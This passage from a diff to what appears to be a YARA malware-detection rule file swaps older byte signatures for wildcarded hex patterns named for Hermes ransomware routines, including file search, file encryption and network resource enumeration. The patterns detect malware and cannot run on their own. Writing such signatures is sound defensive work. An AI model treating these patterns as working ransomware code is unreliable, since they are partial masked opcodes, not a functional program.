-            ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 57 E8 ??
-            ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B
-            45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 7D ?? ?? 74 ?? 8D 45 ?? 8B 55 ?? E8 ?? ??
-            ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B C6 8B 55
-            ?? E8 ?? ?? ?? ?? 8B 45 ?? 01 45 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 83 7D ?? ?? 75 ?? 8B
-            45 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10
-            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$hermes_find_files_v1_p3 = {
+            84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59
+            85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F
+            85 ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85
+            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F
+            85 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D
         }
-		$find_files = {
-            50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ?? ?? ?? 33 F6 46 81 FE ?? ?? ?? ?? 0F 87
-            ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 8D 57 ?? B9 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 07 ?? 0F 85 ?? ?? ?? ?? F6 47 ?? ?? 0F 85 ?? ??
-            ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 75 ??
-            6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75
-            ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 0F 85 ?? ?? ?? ?? 83
-            FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 57 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ??
-            ?? ?? 33 F6 46 81 FE ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8D 45
-            ?? 8D 57 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F
-            84 ?? ?? ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 07 ?? 0F
-            84 ?? ?? ?? ?? F6 47 ?? ?? 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 75
-            ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B C0 F7 D8 84 C0 75
-            ?? 6A ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF 75 ?? 68
-            ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? F7 D8 1B C0
-            F7 D8 84 C0 0F 85 ?? ?? ?? ?? 83 FB ?? 74 ?? 53 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? F7 D8 1B DB F7 DB 84 DB
-            75 ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$hermes_find_files_v1_p4 = {
+            45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45
+            ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? F6 85
+            ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 53 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8B C8 E8 ?? ?? ?? ?? 83 F8 ?? 7E ?? 53 FF 75
+            ?? FF 75 ?? E8
         }
-		$decrypt_payload_script = {
-            FF 75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF
-            75 ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75
-            ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ??
-            ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 8B C3 BA ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? FF 33 FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF
-            75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ??
-            ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF
-            75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ??
-            ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D
-            45 ?? E8 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? 8D 45 ?? E8
+		$hermes_encrypt_files_v1_p1 = {
+            55 8B EC 83 EC ?? 53 56 57 FF 75 ?? FF 15 ?? ?? ?? ?? BB ?? ?? ?? ?? 3B C3 74 ?? 53
+            FF 75 ?? FF 15 ?? ?? ?? ?? 33 F6 56 53 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF 15 ??
+            ?? ?? ?? 89 45 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 50 FF 15 ?? ?? ?? ?? 89 45 ??
+            83 F8 ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 56 89 45 ?? 8D 45 ?? 50 56 56
+            6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? BF ?? ?? ?? ?? 57 FF 75 ?? 56
+            FF 15 ?? ?? ?? ?? 89 45 ?? 3B C6 74 ?? 56 8D 4D ?? 51 FF 75 ?? 89 75 ?? 50 FF 75 ??
+            FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 8B 4D ?? 8D 44 08 ?? 80 38 ?? 75 ?? 80 78 ??
+            ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? 80 78 ?? ?? 75 ?? FF
+            75 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 33 C0 5F 5E 5B
+        }
+		$hermes_encrypt_files_v1_p2 = {
+            C9 C3 FF 75 ?? 8D 45 ?? 50 51 56 6A ?? 56 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 56
+            56 56 FF 75 ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ??
+            ?? 6A ?? 57 FF 75 ?? 88 45 ?? 56 FF 15 ?? ?? ?? ?? 8B F8 89 7D ?? 3B FE 74 ?? FF 75
+            ?? 0F BE 45 ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 56 8D 45 ?? 50 FF 75 ?? 89 75 ?? 57 FF
+            75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? BF ?? ?? ?? ?? 57 56 FF 75 ?? FF 15
+            ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 53 6A ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF
+            15 ?? ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 50 FF 75 ?? 89 75 ?? FF 75
+            ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ??
+            53 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 57 56 FF
+            75 ?? FF 15 ?? ?? ?? ?? 33 C0 40 E9
+        }
+		$hermes_enum_resources_v1 = {
+            55 8B EC 83 EC ?? 53 56 57 8D 45 ?? 50 FF 75 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A
+            ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF
+            15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? 53 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B
+            43 ?? 66 83 38 ?? 8D 48 ?? 75 ?? 66 83 78 ?? ?? 75 ?? 6A ?? 51 E8 ?? ?? ?? ?? 59 59
+            85 C0 74 ?? 8B 43 ?? 8B D0 66 8B 08 40 40 66 85 C9 75 ?? 8B 7D ?? 2B C2 4F 4F 66 8B
+            4F ?? 47 47 66 85 C9 75 ?? 8B C8 C1 E9 ?? 8B F2 F3 A5 8B C8 83 E1 ?? F3 A4 8B 7D ??
+            4F 4F 66 8B 47 ?? 47 47 66 85 C0 75 ?? BE ?? ?? ?? ?? A5 8B 43 ?? 83 E0 ?? 3C ?? 0F
+            85 ?? ?? ?? ?? FF 75 ?? 53 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 33 C0 5F 5E
+            5B C9 C3 33 C0 40 EB
+        }
+		$hermes_encrypt_files_v2_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 33 C0 8D BD ?? ?? ?? ?? AB 33 DB 89 5D ?? AB AB
+            AB 8B 7D ?? 57 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 53 56 6A ??
+            53 53 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 53 FF 15 ?? ?? ?? ?? 33
+            C0 E9 ?? ?? ?? ?? 33 DB 33 C0 89 5D ?? 0F 57 C0 89 45 ?? 66 0F 13 45 ?? 83 FE ?? 74
+            ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 5D ?? 8B 45
+            ?? 83 FB ?? 75 ?? 85 C0 75 ?? 33 FF 47 E9 ?? ?? ?? ?? 83 65 ?? ?? 83 7D ?? ?? 77 ??
+            81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ??
+            6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 4D ??
+            89 45 ?? 83 F9 ?? 72 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 6A ?? 6A ?? 51 FF 75 ?? E8
+            ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? 3D ?? ?? ?? ?? 76 ??
+            C7 45 ?? ?? ?? ?? ?? EB ?? 8B 55 ?? 8B C1 81 C2 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 77 ??
+            72 ?? 81 FA ?? ?? ?? ?? 77 ?? 6A ?? 6A ?? 51 FF 75 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 52
+            50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 83 F9
+        }
+		$hermes_encrypt_files_v2_p2 = {
+            77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 8B 45 ?? EB ?? 8B 45 ?? 3D ?? ?? ?? ?? 0F 87
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ??
+            0F 82 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? B8 ?? ?? ?? ?? 77 ?? 39
+            45 ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 2B D8 53 56 89 5D ?? FF 15 ?? ?? ?? ??
+            83 F8 ?? 75 ?? 6A ?? 58 E9 ?? ?? ?? ?? 33 DB 8D 45 ?? 53 50 6A ?? 8D 85 ?? ?? ?? ??
+            89 5D ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? EB ?? 8B C3 80 BC 05 ?? ?? ?? ??
+            ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ??
+            ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 74 ?? 40 83 F8
+            ?? 72 ?? 53 53 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 6A ?? E9 ?? ?? ??
+            ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 58 6A ?? 66 89 45 ?? 58 66 89 45 ?? 6A ?? 58 66 89 45
+            ?? 33 C0 66 89 45 ?? 8D 45 ?? 50 57 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 6A ?? 68 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 57 56 89 1E E8 ?? ?? ??
+            ?? 57 56 E8 ?? ?? ?? ?? 8D 45 ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 56 57 FF 15 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 33 DB 8D 45
+        }
+		$hermes_encrypt_files_v2_p3 = {
+            50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? E9 ?? ?? ?? ??
+            39 5D ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 53 53 68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8
+            ?? ?? ?? ?? 89 5D ?? 5B 6A ?? 89 4D ?? 33 DB 89 45 ?? 89 55 ?? 5F EB ?? 8B 45 ?? 89
+            45 ?? 53 69 C0 ?? ?? ?? ?? 53 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ?? E9 ?? ??
+            ?? ?? 53 8D 45 ?? 89 5D ?? 50 6A ?? 5F 57 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
+            85 C0 75 ?? 6A ?? E9 ?? ?? ?? ?? 53 53 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ??
+            E9 ?? ?? ?? ?? 89 5D ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B
+            D8 85 DB 75 ?? 6A ?? E9 ?? ?? ?? ?? 8B 55 ?? 33 C9 33 C0 C7 45 ?? ?? ?? ?? ?? 89 4D
+            ?? 89 45 ?? 83 65 ?? ?? C7 45 ?? ?? ?? ?? ?? 3B CA 75 ?? 8B 4D ?? 89 4D ?? C7 45 ??
+            ?? ?? ?? ?? 33 C9 51 51 50 56 89 4D ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ??
+            6A ?? 8D 45 ?? 50 FF 75 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C9 C7
+        }
+		$hermes_encrypt_files_v2_p4 = {
+            45 ?? ?? ?? ?? ?? 51 8D 45 ?? 50 51 51 FF 75 ?? 51 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0
+            0F 84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 53 6A ?? FF 75 ?? 6A ?? FF 75 ?? FF 15 ?? ??
+            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F
+            84 ?? ?? ?? ?? 83 65 ?? ?? 8D 45 ?? 6A ?? 50 FF 75 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0
+            0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 41 8B 55 ?? 05 ?? ?? ?? ?? 89 4D ?? 89 45 ?? 3B
+            CA 0F 86 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 7D ?? 66 C7 45 ?? ?? ?? AB AB AB
+            AB 66 AB 33 C0 88 45 ?? 39 45 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 8D 45 ?? 50 8D 45
+            ?? 50 E8 ?? ?? ?? ?? 59 59 EB ?? 6A ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 33 C0 8D 7D ??
+            AB 6A ?? AB 66 AB 8D 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 FF 8D 45 ?? 57 50 8D
+            45 ?? 89 7D ?? 50 E8 ?? ?? ?? ?? 59 50 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ??
+            68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 8D 45 ?? 50 57 57 6A
+        }
+		$hermes_encrypt_files_v2_p5 = {
+            FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ??
+            ?? 6A ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 57 6A ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85
+            C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 57 8D 45 ?? 89
+            7D ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ??
+            ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 39 7D ?? 77 ?? 81 7D ?? ?? ?? ?? ??
+            76 ?? 6A ?? 57 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 83 F8
+            ?? 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? EB ?? 57 8D 45 ?? 89 7D ?? 50
+            6A ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF
+            15 ?? ?? ?? ?? 6A ?? EB ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ??
+            83 C4 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? 5B EB ?? 68 ?? ?? ?? ?? 6A ??
+            53 FF 15 ?? ?? ?? ?? 6A ?? 5B 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B C3
+            EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? EB ?? FF 75 ?? FF 15 ??
+            ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ??
+            ?? ?? 6A ?? 5F EB ?? 6A ?? 5F 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? EB ?? 6A ?? E9 ?? ?? ?? ?? 6A ?? 5F 56 FF 15 ??
+            ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
+        }
+		$hermes_find_files_v2_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 8B 5D ?? 8D 85 ?? ?? ?? ?? 56 57 50 68 ?? ?? ?? ?? 53
+            E8 ?? ?? ?? ?? 59 59 50 FF 15 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 53 89 7D ?? E8 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 53 8B F0 E8 ?? ?? ?? ?? 2B C6 33 C9 83 C4 ?? 66 89 0C 43 83
+            FF ?? 0F 84 ?? ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 83 F8 ?? 75 ??
+            8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57
+            FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 83
+            F8 ?? 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D
+            85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 58 6A ?? 5F 6A
+            ?? 5A 6A ?? 66 89 45 ?? 58 6A ?? 59 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ??
+            66 89 45 ?? 33 C0 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89
+        }
+		$hermes_find_files_v2_p2 = {
+            45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 33 C0 66 89 45 ?? 58 6A ?? 66 89 45
+            ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 33 C0 66 89 55 ??
+            66 89 55 ?? 5A 6A ?? 66 89 45 ?? 58 6A ?? 66 89 85 ?? ?? ?? ?? 58 6A ?? 66 89 4D ??
+            66 89 4D ?? 66 89 8D ?? ?? ?? ?? 59 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ??
+            ?? 33 C0 66 89 7D ?? 66 89 BD ?? ?? ?? ?? 8D 7D ?? 89 75 ?? 66 89 75 ?? 66 89 55 ??
+            89 75 ?? 66 89 75 ?? 66 89 8D ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? 66 89 85 ?? ?? ?? ??
+            AB 6A ?? 66 89 4D ?? 66 89 55 ?? AB 66 89 55 ?? 89 75 ?? AB 66 AB 58 6A ?? 66 89 45
+            ?? 58 6A ?? 5F 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ??
+            66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 59 66 89 45 ?? 33 C0 66 89 45 ?? 6A ?? 58
